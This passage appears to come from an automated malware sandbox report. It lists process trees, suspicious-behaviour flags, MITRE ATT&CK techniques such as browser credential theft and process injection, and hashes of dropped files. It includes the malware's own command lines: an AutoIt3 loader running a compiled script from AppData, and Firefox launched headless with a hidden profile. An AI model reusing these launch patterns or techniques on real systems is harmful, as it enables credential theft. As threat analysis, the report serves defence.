    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4764,i,11462773735040788909,16677576307525888428,2097152 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:1
    3⤵
    PID:5628
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=4548,i,11924735345745001084,1473163451646401572,2097152 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:1
    3⤵
    PID:564
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=4560,i,17420849886135574856,12557085504781890744,2097152 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:1
    3⤵
    PID:4696
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5468,i,16466750112045101783,10318818901280224857,2097152 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=5820 /prefetch:1
    3⤵
    PID:1116
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5828,i,12524436069652211712,12212537439930072091,524288 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:14
    3⤵
    PID:2856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5980,i,5537551581520013286,3588820179115165557,2097152 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=4560 /prefetch:1
    3⤵
    PID:5396
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=4696,i,3596029289723206314,3874219602584262949,2097152 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:1
    3⤵
    PID:3424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5768,i,1216455009955949784,14146303013227221276,2097152 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:1
    3⤵
    PID:4844
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5508,i,7371526791629093736,4834598955992612680,2097152 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=5468 /prefetch:1
    3⤵
    PID:1480
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5404,i,16202299199047178787,16850379319176858859,524288 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=5696 /prefetch:14
    3⤵
    PID:1960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6040,i,1768105377274178959,12318999494970563261,524288 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:14
    3⤵
    PID:1120
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=4536,i,6409066047580498911,5279918537187714284,2097152 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=5632 /prefetch:9
    3⤵
    PID:1084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5736,i,4480362075235644479,7489314849484765351,2097152 --field-trial-handle=1924,i,5470968661692740026,616255753772631575,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:1
    3⤵
    PID:3032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f8,0x2fc,0x300,0x2f4,0x368,0x7ffdb385c188,0x7ffdb385c194,0x7ffdb385c1a0
    3⤵
    PID:3732
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1556,i,10192759336347829586,14135913465475477139,262144 --field-trial-handle=2320,i,14283628855560321975,1925616711197183582,262144 --variations-seed-version --mojo-platform-channel-handle=2316 /prefetch:2
    3⤵
    PID:1476
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1860,i,8443587597580306473,2448720929684391807,524288 --field-trial-handle=2320,i,14283628855560321975,1925616711197183582,262144 --variations-seed-version --mojo-platform-channel-handle=2356 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1104
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2224,i,7169838691375261573,14816916217280160255,524288 --field-trial-handle=2320,i,14283628855560321975,1925616711197183582,262144 --variations-seed-version --mojo-platform-channel-handle=3068 /prefetch:13
    3⤵
    PID:3420
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3552,i,9314787806111785812,8314219489885203183,2097152 --field-trial-handle=2320,i,14283628855560321975,1925616711197183582,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:1
    3⤵
    PID:4848
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3556,i,13151095882964908686,10154315095342166229,2097152 --field-trial-handle=2320,i,14283628855560321975,1925616711197183582,262144 --variations-seed-version --mojo-platform-channel-handle=3604 /prefetch:1
    3⤵
    PID:3728
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4212,i,16271987851172265793,14889149704679908378,2097152 --field-trial-handle=2320,i,14283628855560321975,1925616711197183582,262144 --variations-seed-version --mojo-platform-channel-handle=4304 /prefetch:9
    3⤵
    PID:4504
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4188,i,11659737909968567170,15475480883443573685,2097152 --field-trial-handle=2320,i,14283628855560321975,1925616711197183582,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:1
    3⤵
    PID:708
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5224,i,16907004787495848905,17788867579823343606,524288 --field-trial-handle=2320,i,14283628855560321975,1925616711197183582,262144 --variations-seed-version --mojo-platform-channel-handle=5240 /prefetch:14
    3⤵
    PID:4084
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5436,i,14468637287490454447,15907619863259919219,524288 --field-trial-handle=2320,i,14283628855560321975,1925616711197183582,262144 --variations-seed-version --mojo-platform-channel-handle=5464 /prefetch:14
    3⤵
    PID:4872
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5440,i,16031401402557700065,16208516272461489217,524288 --field-trial-handle=2320,i,14283628855560321975,1925616711197183582,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:14
    3⤵
    PID:5140
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5284,i,14608854688133416766,9523237735792306865,524288 --field-trial-handle=2320,i,14283628855560321975,1925616711197183582,262144 --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:14
    3⤵
    PID:3204
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5284,i,14608854688133416766,9523237735792306865,524288 --field-trial-handle=2320,i,14283628855560321975,1925616711197183582,262144 --variations-seed-version --mojo-platform-channel-handle=5260 /prefetch:14
    3⤵
    PID:4976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6484,i,10748939219624496161,7894370203903536231,524288 --field-trial-handle=2320,i,14283628855560321975,1925616711197183582,262144 --variations-seed-version --mojo-platform-channel-handle=6520 /prefetch:14
    3⤵
    PID:3540
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  PID:2608
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    PID:5400
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2792 -prefsLen 24445 -prefMapHandle 2796 -prefMapSize 268500 -ipcHandle 2860 -initialChannelId {02211c57-6228-429e-aac8-fcd8057a4a50} -parentPid 5400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5400" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:2120
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 1892 -prefsLen 24658 -prefMapHandle 2080 -prefMapSize 268500 -jsInitHandle 1940 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2096 -initialChannelId {f47dd932-7623-4f2b-96eb-53e2b6e285c0} -parentPid 5400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5400" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:4400
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3784 -prefsLen 25542 -prefMapHandle 3788 -prefMapSize 268500 -ipcHandle 3820 -initialChannelId {723b5179-cec0-42e4-8079-1587e4c191c0} -parentPid 5400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5400" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:120
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4056 -prefsLen 25604 -prefMapHandle 4060 -prefMapSize 268500 -jsInitHandle 4064 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4068 -initialChannelId {85a45918-1d8b-4491-b762-0af6450ca0f2} -parentPid 5400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5400" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:4492
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4932 -prefsLen 36486 -prefMapHandle 4936 -prefMapSize 268500 -ipcHandle 4944 -initialChannelId {05057689-6f9e-4e0f-a881-a2d516d437f5} -parentPid 5400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5400" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      Checks processor information in registry
      PID:2864
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5016 -prefsLen 34446 -prefMapHandle 5020 -prefMapSize 268500 -jsInitHandle 5024 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5032 -initialChannelId {2a7e4727-fdc5-4b58-8412-becbc83a9e41} -parentPid 5400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5400" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      Checks processor information in registry
      PID:3284
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5240 -prefsLen 34446 -prefMapHandle 5244 -prefMapSize 268500 -jsInitHandle 5248 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5256 -initialChannelId {71c5136e-439d-49ca-b58c-7eff83f4d714} -parentPid 5400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5400" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:2940
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5420 -prefsLen 34446 -prefMapHandle 5424 -prefMapSize 268500 -jsInitHandle 5428 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5436 -initialChannelId {68579886-3d4f-44d1-9ccb-6b9235513e08} -parentPid 5400 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5400" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:1800

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:3776

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5396

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2692

C:\Users\Admin\AppData\Roaming\18cc7d25a7d6\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\18cc7d25a7d6\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\18cc7d25a7d6\Fabrics.a3x"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3192
- C:\Users\Admin\AppData\Roaming\18cc7d25a7d6\RegAsm.exe
  C:\Users\Admin\AppData\Roaming\18cc7d25a7d6\RegAsm.exe
  2⤵
  - Executes dropped EXE
  PID:1748

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Process Injection

T1055

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Modify Registry

T1112

Process Injection

T1055

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

3bba4b23-e90d-49e0-84ab-1198674b4077.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\3bba4b23-e90d-49e0-84ab-1198674b4077.tmp
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

data_0

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnGraphiteCache\data_0
Size 8KB
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0
SSDEEP 3:MsFl:/F
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnGraphiteCache\data_1
Size 264KB
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17
SSDEEP 3:MsEllllkEthXllkl2:/M/xT02
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_2

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnWebGPUCache\data_2
Size 8KB
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed
SSDEEP 3:MsHlDll:/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

data_3

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnWebGPUCache\data_3
Size 8KB
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
MD5 41876349cb12d6db992f1309f22df3f0
